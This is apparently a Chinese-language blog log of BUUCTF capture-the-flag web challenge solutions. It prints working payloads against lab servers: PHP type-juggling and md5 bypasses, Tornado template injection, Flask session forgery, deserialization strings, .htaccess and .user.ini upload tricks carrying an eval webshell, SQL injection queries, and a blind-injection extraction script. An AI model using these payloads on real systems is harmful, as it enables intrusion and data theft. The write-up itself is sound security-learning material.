BUUCTF 刷题记录…
[ACTF2020 新生赛]BackupFile
手工试出来 index.php.bak
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
|
弱类型转换
1
|
http://dacc2c9f-1fe9-44a7-a79a-6bff32b539cc.node4.buuoj.cn:81/?key=123
|
[极客大挑战 2019]BuyFlag
右键源代码
访问 pay.php 右键源代码
还是弱类型
提交 404aaa 之后提示 You must be a student from CUIT !!!
Cookie 把 user=0
改成 user=1
, post 再传入 money=100000000
然后提示数字太长了… 改成 money[]=100000000
就行
[护网杯 2018]easy_tornado
url 格式如下
1
|
http://211ce077-6c56-419a-afb4-c599c568ac43.node4.buuoj.cn:81/file?filename=/flag.txt&filehash=0e24e12b6089646e7071af7883716075
|
flag.txt
1
2
|
/flag.txt
flag in /fllllllllllllag
|
welcome.txt
hints.txt
1
2
|
/hints.txt
md5(cookie_secret+md5(filename))
|
考点应该是 ssti, 我们需要找到 cookie_secret 的值, 然后和 /fllllllllllllag 拼接构造 filehash, 这样才能正常查看 flag 内容
filehash 随便改了改, 跳转到了报错页面
存在 ssti, 但过滤了很多, 只有 .
没有被过滤
在官方文档里搜了一下 cookie_secret
https://tornado-zh.readthedocs.io/zh/latest/index.html
看起来好像是 tornado 内部的变量, 不是用户自定义的
想到了 flask 的 config, tornado 应该也有类似的变量
继续在文档里搜索 cookie_secret
, 没搜到…
换个思路, 去 tornado 的源码里面搜, 发现了下面这一行
self.application.settings
有点可疑, 继续搜试试
往上拉找到这个方法对应的类
RequestHandler 类, 但是利用 ssti 查看 RequestHandler.settings
的内容会报错
然后又去文档里找了找
发现 handler 可以查看当前的 RequestHandler 对象
于是 payload 如下
1
|
http://211ce077-6c56-419a-afb4-c599c568ac43.node4.buuoj.cn:81/error?msg={{handler.settings}}
|
md5 加密
1
2
3
4
5
|
from hashlib import md5
cookie_secret = 'a1d17d00-1e5f-4911-925c-390d3b41d6b4'
filename = '/fllllllllllllag'
print(md5(cookie_secret+md5(filename).hexdigest()).hexdigest())
|
访问得到 flag
1
|
http://211ce077-6c56-419a-afb4-c599c568ac43.node4.buuoj.cn:81/file?filename=/fllllllllllllag&filehash=19e76ada6795b98e2d5615423e5a2efa
|
[HCTF 2018]admin
这题一开始当成了 csrf , 重置密码改成 123 然后成功登进去以为自己做出来了
最后看 wp 才知道 admin 的密码就是 123…
登录框输入单引号报错, 但好像并没有注入
右上角可以注册用户
于是注册了个 test
post 可以发文章, 但是看不了
change password 的页面右键查看源代码有一处注释
到 GitHub 下载, 打开后发现是用 flask 做的
/app/routes.py 里有 session
/app/config.py 里能看到 secret_key
/app/templates/index.html
搜了一下发现 flask 可以伪造 session
flask 的 session 是存储在客户端 cookie 中的,而且 flask 仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而 flask 并没有提供加密操作,所以其 session 的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。
参考文章 https://cbatl.gitee.io/2020/11/15/Flask-session/
利用脚本 https://github.com/noraj/flask-session-cookie-manager
替换 cookie 后刷新页面得到 flag
看了 wp 发现还有另一种思路
Unicode 欺骗
参考文章 https://www.anquanke.com/post/id/164086
原因在于使用了自定义的 strlower 函数
定义如下
1
2
3
4
5
6
|
from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
....
def strlower(username):
username = nodeprep.prepare(username)
return username
|
requirements.txt 里的 twisted 库版本
百度搜到的相关内容都是 wp…
唯一一篇可能有联系的原始文章现在也已经打不开了
https://tw.saowen.com/a/72b7816b29ef30533882a07a4e1040f696b01e7888d60255ab89d37cf2f18f3e
大意就是使用旧版本的 twisted 库中的 nodeprep 进行转换时, 会把一些 unicode 字符转换成对应的正常大写字符
例如使用两次 strlower 的结果, ᴬ -> A -> a
本地安装这个库的旧版本一直有问题, 可能是 Python 版本太新了
unicode 字符 https://unicode-table.com/en/search/?q=small+capital
我们注册 ᴬdmin
用户, 注册时会进行一次 strtolower, 实际上存入数据库的是 Admin 用户
然后通过 ᴬdmin
登录, 登陆的时候出现也是把 post 的数据 strtolower 一下
之后修改密码, 因为修改密码的时候是把 session['name']
的内容 strtolower, 而前者的内容实际上是注册后已经 strtolower 了一次的 Admin
, 第二次 strtolower 之后变成 admin, 修改的也就是 admin 的密码
最后登录得到 flag
[BJDCTF2020]Easy MD5
抓包查看返回头
md5($pass, true)
, 其实就是生成了二进制的摘要, 之前也遇到过
1
2
|
ffifdyop
129581926211651571912466741651878684928
|
这两个 payload md5 加密后生成的二进制字符里包含万能密码
输入提交
右键查看源代码
md5 0e 漏洞
1
|
http://b7c25771-6bbd-44e3-ac5d-5ead5de06174.node4.buuoj.cn:81/levels91.php?a=QNKCDZO&b=240610708
|
之后又跳转到一个页面
强类型比较, 0e 开头的字符串不会被自动转换成科学计数法了
但是可以换成数组绕过, 之前也遇到过
[ZJCTF 2019]NiZhuanSiWei
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
|
php://input 好像用不了, 先用 php://filter 读文件试试
1
|
http://919e7ced-6038-437a-891f-49bebb325a20.node4.buuoj.cn:81/?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
|
useless.php
1
2
3
4
5
6
7
8
9
10
11
12
13
|
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
|
反序列化
1
|
http://919e7ced-6038-437a-891f-49bebb325a20.node4.buuoj.cn:81/?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
|
右键查看得到 flag
[MRCTF2020]你传你🐎呢
文件上传
测试发现过滤了 php phtml 等后缀, 但是 .htaccess 能够上传
1
2
3
|
<IfModule mime_module>
AddType application/x-httpd-php .jpg
</IfModule>
|
思路就很明显了, 之后再传一个包含一句话的 jpg 就行
不过每次上传的路径都不一样…
观察了一下发现每次上传后会给你设置一个 PHPSESSID, 如果你继续拿着这个 cookie 上传的话文件夹就不会变
最后蚁剑链接查看 flag
[极客大挑战 2019]HardSQL
and or 空格和等于号都被过滤了
空格绕过用注释, %0a
%09
等等都不行
看了 wp 才知道是利用异或 ^
+ xpath 报错注入
参考文章 https://blog.csdn.net/V1040375575/article/details/111712453
异或的特性
a ^ b, 如果 a, b 两个值不相同, 则结果为 1, 如果 a, b 两个值相同, 则结果为 0
mysql 的异或有两个操作符, ^
和 XOR
, 前者为按位异或, 后者为逻辑异或
按位异或会把数字或者强制类型转换的字符串 (跟 PHP 类似) 转换成二进制, 然后每一位进行逻辑异或, 最后得出来一个新的数字
逻辑异或只是单纯的根据两边的真假性来得出结果
下面是一个利用异或来进行盲注的示例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
mysql> use test;
Database changed
mysql> select * from flag;
+------+------------+
| id | flag |
+------+------------+
| 1 | flag{test} |
+------+------------+
1 row in set (0.00 sec)
mysql> select * from flag where id=1^(length(database())=4);
Empty set (0.00 sec)
mysql> select * from flag where id=1^(length(database())=3);
+------+------------+
| id | flag |
+------+------------+
| 1 | flag{test} |
+------+------------+
1 row in set (0.00 sec)
|
第一条语句后面是 1^1=0
, 表中没有 id=0 的记录, 所以返回空
第二条语句后面是 1^0=1
, 故能查询到 id=1 的记录并返回
不过这题没有利用到异或具体的性质, 只是用来替代 and 作为连接符
1
2
3
|
http://ea01a9bb-14f1-4641-b8b8-600e03eb7a04.node4.buuoj.cn:81/check.php
?username=admin'^extractvalue(1,concat(0x7e,(database()),0x7e))%23
&password=123
|
substr mid 被过滤了, 利用 left 和 right 从两边截取 31 位字符, 然后手工拼接一下
1
2
3
4
5
6
7
|
http://ea01a9bb-14f1-4641-b8b8-600e03eb7a04.node4.buuoj.cn:81/check.php
?username=admin'^extractvalue(1,concat(0x7e,(select(left(password,31))from(H4rDsq1)where(username)like('flag')),0x7e))%23
&password=123
http://ea01a9bb-14f1-4641-b8b8-600e03eb7a04.node4.buuoj.cn:81/check.php
?username=admin'^extractvalue(1,concat(0x7e,(select(right(password,31))from(H4rDsq1)where(username)like('flag')),0x7e))%23
&password=123
|
[SUCTF 2019]CheckIn
考察 .user.ini
上传文件后发现目录下存在一个 index.php
于是先上传一个 1.txt 内容如下 (<?
被过滤了)
1
2
|
GIF89a
<script language="php">eval($_REQUEST[1]);</script>
|
再上传 .user.ini
1
2
|
GIF89a
auto_append_file="1.txt"
|
最后访问 /uploads/c47b21fcf8f0bc8b3920541abd8024fd/index.php
连接得到 flag
[MRCTF2020]Ez_bypass
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first
|
md5 数组绕过和弱类型转换
1
2
3
|
http://f1edb72b-630a-48cf-bab2-ee13086b4ee5.node4.buuoj.cn:81/?gg[]=123&id[]=456
post: passwd=1234567a
|
[网鼎杯 2020 青龙组]AreUSerialz
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
|
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
|
思路是令 op 的值为 2 并且指定 filename 为 flag.php 从而读取 flag 的内容
但是 __destruct 前有个判断, 会更改 op 的值并清空 content
然而里面的 if($this->op === "2")
用的是 ===
, 也就是强类型比较
process 里面的 else if($this->op == "2")
用的是 ==
, 弱类型比较
所以我们只需要把 op 设置成 int 类型的就能绕过了
payload 如下
1
2
3
4
5
6
7
8
9
10
11
12
|
<?php
class FileHandler {
public $op = 2;
public $filename = 'flag.php';
public $content = '';
}
echo urlencode(serialize(new FileHandler()));
?>
|
如果访问修饰符是 protected 和 private 的话, 生成的字符串有 %00
, 会被 is_valid 检测到
不过服务器的 PHP 版本是 7.4.3, 对访问修饰符不敏感, 全都改成 public 即可
1
|
http://022ddad7-d409-497d-9954-a37f4c6962f3.node4.buuoj.cn:81/?str=O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A0%3A%22%22%3B%7D
|
[GXYCTF2019]BabySQli
提交 1 1 显示 wrong user!
, 提交 admin 1 显示 wrong pass!
name 提交单引号报错, 但是 pw 不会
过滤了 or 和括号… 常规的 SQL 注入怎么说也得要括号吧
右键源代码发现一处注释
1
|
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
|
先 base32 解密再 base64 解密, 内容如下
1
|
select * from user where username = '$name'
|
注意他的检测方式不是 username 和 password 一起查的, 而是先查 username, 然后对比执行结果中的 password 和 post 传入的 pw 是否相等
联想到了之前在 CG-CTF 做过的一处 union 注入
具体例子如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
mysql> select * from users where username='admin';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 8 | admin | admin |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where username='1';
Empty set (0.00 sec)
mysql> select * from users where username='1' union select 1,'admin','admin';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | admin |
+----+----------+----------+
1 row in set (0.00 sec)
|
前面构造不存在的内容让结果返回空, 后面再用 union 构造一组新的数据, 这样的出来的结果就跟正常的 select 结果一模一样了
测试的时候 pw 提交单引号不报错, 猜测可能是 md5 加密, payload 如下
1
|
name=1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1
|
[GXYCTF2019]BabyUpload
简单文件上传
考察 .htaccess 和 <script language="php">xx</script>
和之前有一题差不多, 记得设置 cookie
[GYCTF2020]Blacklist
过滤内容如下
1
|
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
|
handler 注入
1
2
|
http://215e031d-2bb6-4870-b01d-6fb4cfa685c5.node4.buuoj.cn:81/
?inject=1';handler FlagHere open;handler FlagHere read first;#
|
[CISCN2019 华北赛区 Day2 Web1]Hack World
数字型盲注, 过滤了空格 and or 这些
=
+ 括号绕过
1
|
id=1=if(ascii(substr((select(flag)from(flag)),1,1))=102,1,0)
|
因为 -
也被过滤了, 所以还是转成 ascii 方便一些
python 脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
import time
import requests
dicts='flag{bcde-1234567890}'
url = 'http://e22b868b-c929-4bad-8e3f-1362d21e37d3.node4.buuoj.cn:81/index.php'
flag = ''
for i in range(100):
for s in dicts:
time.sleep(1)
data = {
'id': f"1=if(ascii(substr((select(flag)from(flag)),{i},1))={ord(s)},1,0)"
}
#print('test',s)
res = requests.post(url,data=data, timeout=30)
if 'glzjin' in res.text:
flag += s
print(flag)
break
|